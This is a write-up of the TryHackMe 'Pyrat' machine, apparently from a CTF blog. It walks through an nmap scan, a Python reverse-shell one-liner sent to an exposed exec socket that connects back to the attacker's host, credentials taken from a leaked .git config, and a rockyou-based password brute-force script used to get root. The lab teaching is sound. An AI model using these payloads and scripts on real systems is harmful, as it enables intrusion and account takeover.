TryHackMe: Pyrat
Pyrat is an easy-rated TryHackMe machine that simulates a running Python RAT on an open socket. The challenge involves leaking a GitHub account to gain access to the PyRat source code, which helps in understanding how the RAT operates and gain root access.
Enumeration
Nmap Scan
Starting with an nmap on 10.10.234.19
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Pyrat]
└─$ cat nmap.out
# Nmap 7.94SVN scan initiated Wed Oct 2 19:16:42 2024 as: nmap -sC -sV -T4 -oN nmap.out -vv 10.10.234.19
Nmap scan report for 10.10.234.19
Host is up, received conn-refused (0.077s latency).
Scanned at 2024-10-02 19:16:48 CET for 177s
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMc4hLykriw3nBOsKHJK1Y6eauB8OllfLLlztbB4tu4c9cO8qyOXSfZaCcb92uq/Y3u02PPHWq2yXOLPler1AFGVhuSfIpokEnT2jgQzKL63uJMZtoFzL3RW8DAzunrHhi/nQqo8sw7wDCiIN9s4PDrAXmP6YXQ5ekK30om9kd5jHG6xJ+/gIThU4ODr/pHAqr28bSpuHQdgphSjmeShDMg8wu8Kk/B0bL2oEvVxaNNWYWc1qHzdgjV5HPtq6z3MEsLYzSiwxcjDJ+EnL564tJqej6R69mjII1uHStkrmewzpiYTBRdgi9A3Yb+x8NxervECFhUR2MoR1zD+0UJbRA2v1LQaGg9oYnYXNq3Lc5c4aXz638wAUtLtw2SwTvPxDrlCmDVtUhQFDhyFOu9bSmPY0oGH5To8niazWcTsCZlx2tpQLhF/gS3jP/fVw+H6Eyz/yge3RYeyTv3ehV6vXHAGuQLvkqhT6QS21PLzvM7bCqmo1YIqHfT2DLi7jZxdk=
| 256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJNL/iO8JI5DrcvPDFlmqtX/lzemir7W+WegC7hpoYpkPES6q+0/p4B2CgDD0Xr1AgUmLkUhe2+mIJ9odtlWW30=
| 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFG/Wi4PUTjReEdk2K4aFMi8WzesipJ0bp0iI0FM8AfE
8000/tcp open http-alt syn-ack SimpleHTTP/0.6 Python/3.11.2
|_http-open-proxy: Proxy might be redirecting requests
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4, X11Probe, afp, giop:
| source code string cannot contain null bytes
| FourOhFourRequest, LPDString, SIPOptions:
| invalid syntax (<string>, line 1)
| GetRequest:
| name 'GET' is not defined
| HTTPOptions, RTSPRequest:
| name 'OPTIONS' is not defined
| Help:
|_ name 'HELP' is not defined
|_http-favicon: Unknown favicon MD5: FBD3DB4BEF1D598ED90E26610F23A63F
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Oct 2 19:19:45 2024 -- 1 IP address (1 host up) scanned in 182.77 seconds
Looking at the results we got 2 ports open.
- 22/SSH OpenSSH - open
- 8000/HTTP SimpleHTTP/0.6 - open
Socket - 8000
Looking at http://10.10.234.19:8000/
we get a Try a more basic connection!
which must refers to sockets
, using nc
to connect to it.
1
2
3
4
5
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Pyrat]
└─$ nc 10.10.234.19 8000
ls
name 'ls' is not defined
Exploitation
Initial Foothold
First thing we did is typing ls
to see what we get and we have a name 'ls' is not defined
so we know we are in a python environement with the port banner and the error we got.
So we did try to get a reverse shell using the following payload and it worked, we got our shell.
1
import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.44.134",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Pyrat]
└─$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.8.44.134] from (UNKNOWN) [10.10.234.19] 60124
$ python3 -c "import pty;pty.spawn('/bin/bash')"
python3 -c "import pty;pty.spawn('/bin/bash')"
bash: /root/.bashrc: Permission denied
www-data@Pyrat:~$ export TERM=xterm
export TERM=xterm
www-data@Pyrat:~$ ^Z
zsh: suspended nc -lnvp 9001
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Pyrat]
└─$ stty raw -echo; fg
[1] + continued nc -lnvp 9001
www-data@Pyrat:~$ ls
ls: cannot open directory '.': Permission denied
www-data@Pyrat:~$ pwd
/root
www-data@Pyrat:~$
Lateral Movement
Doing some basic enumeration we found an interesting folder under /opt
which is /opt/dev/.git
hosting a python web server on the machine and using git-dumper
we were able to retrieve the folder and an old version of the source code.
1
2
3
www-data@Pyrat:/opt/dev$ python3 -m http.server 2222
Serving HTTP on 0.0.0.0 port 2222 (http://0.0.0.0:2222/) ...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Pyrat]
└─$ mkdir pysrc/
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Pyrat]
└─$ git-dumper http://10.10.234.19:2222/.git pysrc/
[-] Testing http://10.10.234.19:2222/.git/HEAD [200]
[-] Testing http://10.10.234.19:2222/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://10.10.234.19:2222/.git/ [200]
[...]
[-] Fetching http://10.10.234.19:2222/.git/logs/refs/heads/master [200]
[-] Running git checkout .
Updated 1 path from the index
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Pyrat]
└─$ cd pysrc
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Pyrat/pysrc]
└─$ ls -la
total 16
drwxrwxr-x 3 str4ngerx str4ngerx 4096 Oct 4 17:52 .
drwxrwxr-x 4 str4ngerx str4ngerx 4096 Oct 4 17:52 ..
drwxrwxr-x 7 str4ngerx str4ngerx 4096 Oct 4 17:52 .git
-rw-rw-r-- 1 str4ngerx str4ngerx 753 Oct 4 17:52 pyrat.py.old
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Pyrat/pysrc]
└─$ cat pyrat.py.old
...............................................
def switch_case(client_socket, data):
if data == 'some_endpoint':
get_this_enpoint(client_socket)
else:
# Check socket is admin and downgrade if is not aprooved
uid = os.getuid()
if (uid == 0):
change_uid()
if data == 'shell':
shell(client_socket)
else:
exec_python(client_socket, data)
def shell(client_socket):
try:
import pty
os.dup2(client_socket.fileno(), 0)
os.dup2(client_socket.fileno(), 1)
os.dup2(client_socket.fileno(), 2)
pty.spawn("/bin/sh")
except Exception as e:
send_data(client_socket, e
...............................................
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Pyrat/pysrc]
└─$
Looking through that .git
folder we found a config file leaking the user think
credentials and the person behind the git account.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Pyrat/pysrc]
└─$ cat .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[user]
name = Jose Mario
email = josemlwdf@github.com
[credential]
helper = cache --timeout=3600
[credential "https://github.com"]
username = think
password = [REDACTED]
Using the credentials we got we were able to connect to think
’s user account.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Pyrat/pysrc]
└─$ ssh think@10.10.234.19
The authenticity of host '10.10.234.19 (10.10.234.19)' can't be established.
ED25519 key fingerprint is SHA256:Ndgax/DOZA6JS00F3afY6VbwjVhV2fg5OAMP9TqPAOs.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.234.19' (ED25519) to the list of known hosts.
think@10.10.234.19's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-150-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri 04 Oct 2024 04:59:20 PM UTC
System load: 0.0 Processes: 114
Usage of /: 46.8% of 9.75GB Users logged in: 0
Memory usage: 42% IPv4 address for eth0: 10.10.234.19
Swap usage: 0%
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
You have mail.
Last login: Thu Jun 15 12:09:31 2023 from 192.168.204.1
think@Pyrat:~$ ls
snap user.txt
⚠️ Note: Getting into think’s account is not mendatory for the privilege escalation as I didn’t need to do so and I was able to escelate to root directly.
Privilege Escalation
Looking for the git
user over Github
we were able to find him and find the Pyrat repository where we can find the source code of it.
What is mostly interesting within the source code are these lines.
1
2
3
4
5
6
7
8
9
10
11
12
13
def switch_case(client_socket, data):
if data == 'admin':
get_admin(client_socket)
else:
# Check socket is admin and downgrade if is not aprooved
uid = os.getuid()
if (uid == 0) and (str(client_socket) not in admins):
change_uid()
if data == 'shell':
shell(client_socket)
remove_socket(client_socket)
else:
exec_python(client_socket, data)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def get_admin(client_socket):
global admins
uid = os.getuid()
if (uid != 0):
send_data(client_socket, "Start a fresh client to begin.")
return
password = 'testpass'
for i in range(0, 3):
# Ask for Password
send_data(client_socket, "Password:")
# Receive data from the client
try:
data = client_socket.recv(1024).decode("utf-8")
except Exception as e:
# Send the exception message back to the client
send_data(client_socket, e)
pass
finally:
# Reset stdout to the default
sys.stdout = sys.__stdout__
if data.strip() == password:
admins.append(str(client_socket))
send_data(client_socket, 'Welcome Admin!!! Type "shell" to begin')
break
The first thing we notice is that we could’ve got a shell without the need of a reverse shell by just typing shell
and basically here, in order to get a shell as root, we have to type admin
following that we’ll be asked to enter a password, which from what we see is testpass
, but that doesn’t work since the password has been changed and upon 3 failure password entries we’ll have to enter admin
again.
Having that in mind we knew bruteforce was the way to root. Making a python script to bruteforce the password we succeded finding the good one.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import socket
# Define the target IP and port
target_ip = '10.10.234.19'
target_port = 8000
# Load your wordlist of passwords
with open('/usr/share/wordlists/rockyou.txt', 'rb') as f:
passwords = f.readlines()
for password in passwords:
password = password.strip() # Remove newline characters
try:
password = password.decode('utf-8', errors='ignore')
except UnicodeDecodeError:
continue # Skip any problematic password that cannot be decoded
# Create a socket object
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
# Send the 'admin' username
s.send(b"admin\n") # The \n represents the "enter" button.
response = s.recv(1024).decode()
if "password" in response.lower():
print(f"Trying password: {password}")
s.send(password.encode() + b"\n")
# Read the response from the server after the password attempt
response = s.recv(1024).decode()
# Check if the password is correct
if "welcome admin" in response.lower():
print(f"Success! Password is: {password}")
break
else:
print(f"Password {password} is incorrect.")
else:
print("No password prompt received.")
s.close()
Running the python script we get our needed password.
1
2
3
4
5
6
7
8
9
10
11
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Pyrat]
└─$ python3 root.py
Trying password: 123456
Password 123456 is incorrect.
Trying password: 12345
Password 12345 is incorrect.
[...]
Trying password: [REDACTED]
Success! Password is: [REDACTED]
Using nc
again to connect to the open socket and submiting the password we found we got root!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/Pyrat]
└─$ nc 10.10.234.19 8000
admin
Password:
[REDACTED]
Welcome Admin!!! Type "shell" to begin
shell
# whoami
whoami
root
# ls /root
ls /root
pyrat.py root.txt snap
#
And there we go, we rooted the machine!